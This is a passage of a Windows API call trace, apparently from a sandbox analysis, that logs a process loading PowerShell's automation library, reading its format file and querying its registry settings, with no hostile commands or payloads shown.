lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.964] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.965] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x485d5a39, Data2=0x7a7f, Data3=0x42e1, Data4=([0]=0x95, [1]=0xc4, [2]=0xc1, [3]=0x62, [4]=0xd2, [5]=0x3, [6]=0x5a, [7]=0x7f))) returned 0x0 [0083.965] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.965] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.965] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.965] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.965] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.965] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.966] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xdd3084f5, Data2=0x2756, Data3=0x497f, Data4=([0]=0x90, [1]=0x8a, [2]=0xd5, [3]=0x87, [4]=0x6b, [5]=0x27, [6]=0x99, [7]=0x3a))) returned 0x0 [0083.966] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.966] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.966] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.966] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.966] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.966] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.967] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xce879ecd, Data2=0x999, Data3=0x4756, Data4=([0]=0xb2, [1]=0x9c, [2]=0xb0, [3]=0x14, [4]=0xac, [5]=0x41, [6]=0x8d, [7]=0xe8))) returned 0x0 [0083.967] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.967] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.967] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.967] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.967] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.968] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.968] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x4ef2a459, Data2=0x8a8, Data3=0x47be, Data4=([0]=0x87, [1]=0x9e, [2]=0x4b, [3]=0x7b, [4]=0x80, [5]=0x59, [6]=0x8f, [7]=0x97))) returned 0x0 [0083.968] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xbf8a880d, Data2=0x79d9, Data3=0x4cc8, Data4=([0]=0xb2, [1]=0xc8, [2]=0x69, [3]=0xa3, [4]=0x34, [5]=0xb0, [6]=0x45, [7]=0xcb))) returned 0x0 [0083.968] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x58fcd4e5, Data2=0x97f2, Data3=0x4c32, Data4=([0]=0x8b, [1]=0xf7, [2]=0xdf, [3]=0xd1, [4]=0xe6, [5]=0x63, [6]=0x9, [7]=0x97))) returned 0x0 [0083.969] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.969] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.969] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.969] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.969] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.969] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.969] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xa0b8a90d, Data2=0x2ba4, Data3=0x436c, Data4=([0]=0x8c, [1]=0x9, [2]=0x52, [3]=0xd2, [4]=0x7a, [5]=0x5a, [6]=0x84, [7]=0x7e))) returned 0x0 [0083.970] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.970] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.970] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.970] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b990, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.971] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.971] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.971] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b990, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.971] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.971] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.972] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.972] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.972] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.976] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x60542e70, Data2=0x712b, Data3=0x48ce, Data4=([0]=0x9e, [1]=0x29, [2]=0x28, [3]=0xb4, [4]=0xa9, [5]=0x34, [6]=0x7, [7]=0x5b))) returned 0x0 [0083.980] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x4b6e2de6, Data2=0xcbb4, Data3=0x4d8c, Data4=([0]=0xaa, [1]=0xf2, [2]=0x90, [3]=0x55, [4]=0xcf, [5]=0xdd, [6]=0x91, [7]=0xfc))) returned 0x0 [0083.985] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xc453d020, Data2=0x7acb, Data3=0x41c6, Data4=([0]=0xa0, [1]=0x2f, [2]=0x21, [3]=0xa8, [4]=0x51, [5]=0xf3, [6]=0x42, [7]=0x6))) returned 0x0 [0083.985] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x5ae37c22, Data2=0xd21f, Data3=0x42d0, Data4=([0]=0x97, [1]=0x50, [2]=0xc9, [3]=0xed, [4]=0xaa, [5]=0x5d, [6]=0xe7, [7]=0x6c))) returned 0x0 [0083.985] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x666d1419, Data2=0xee03, Data3=0x4933, Data4=([0]=0x9a, [1]=0x2e, [2]=0x74, [3]=0xce, [4]=0x4a, [5]=0xd0, [6]=0xf0, [7]=0x5))) returned 0x0 [0083.986] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x1cdbcde2, Data2=0xbff8, Data3=0x417e, Data4=([0]=0x97, [1]=0xd6, [2]=0x7b, [3]=0xbc, [4]=0x32, [5]=0x5e, [6]=0xa2, [7]=0x57))) returned 0x0 [0083.986] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x9e81690b, Data2=0x7fba, Data3=0x43eb, Data4=([0]=0xbb, [1]=0x54, [2]=0x9, [3]=0x45, [4]=0xe, [5]=0xef, [6]=0xe9, [7]=0x30))) returned 0x0 [0083.987] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x46c1070f, Data2=0x5db4, Data3=0x4b2f, Data4=([0]=0xa6, [1]=0x6f, [2]=0x1b, [3]=0x4a, [4]=0x49, [5]=0x78, [6]=0xad, [7]=0x2e))) returned 0x0 [0083.987] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x6a601d2c, Data2=0x20d7, Data3=0x4ffe, Data4=([0]=0x83, [1]=0x16, [2]=0xa7, [3]=0x2e, [4]=0x45, [5]=0x7c, [6]=0xa4, [7]=0x32))) returned 0x0 [0083.987] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xb4d8b99b, Data2=0xec3a, Data3=0x4650, Data4=([0]=0x99, [1]=0x5d, [2]=0x81, [3]=0xa6, [4]=0xcc, [5]=0x6d, [6]=0x79, [7]=0x9f))) returned 0x0 [0083.988] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x32c [0083.988] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.990] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.992] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.992] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.992] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.993] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.993] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.993] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.993] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.994] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.994] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.995] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.995] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.995] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.995] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.995] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.996] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.998] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.998] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.998] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.998] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.999] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0xe67, lpOverlapped=0x0) returned 1 [0083.999] ReadFile (in: hFile=0x32c, lpBuffer=0x3a21c4f, nNumberOfBytesToRead=0x199, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a21c4f*, lpNumberOfBytesRead=0x24d098*=0x0, lpOverlapped=0x0) returned 1 [0083.999] ReadFile (in: hFile=0x32c, lpBuffer=0x3a22680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x3a22680*, lpNumberOfBytesRead=0x24d098*=0x0, lpOverlapped=0x0) returned 1 [0083.999] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d128 | out: phkResult=0x24d128*=0x32c) returned 0x0 [0083.999] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d0ac, lpData=0x0, lpcbData=0x24d0a8*=0x0 | out: lpType=0x24d0ac*=0x1, lpData=0x0, lpcbData=0x24d0a8*=0x56) returned 0x0 [0083.999] CoTaskMemAlloc (cb=0x5a) returned 0x1b759550 [0083.999] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d07c, lpData=0x1b759550, lpcbData=0x24d078*=0x56 | out: lpType=0x24d07c*=0x1, 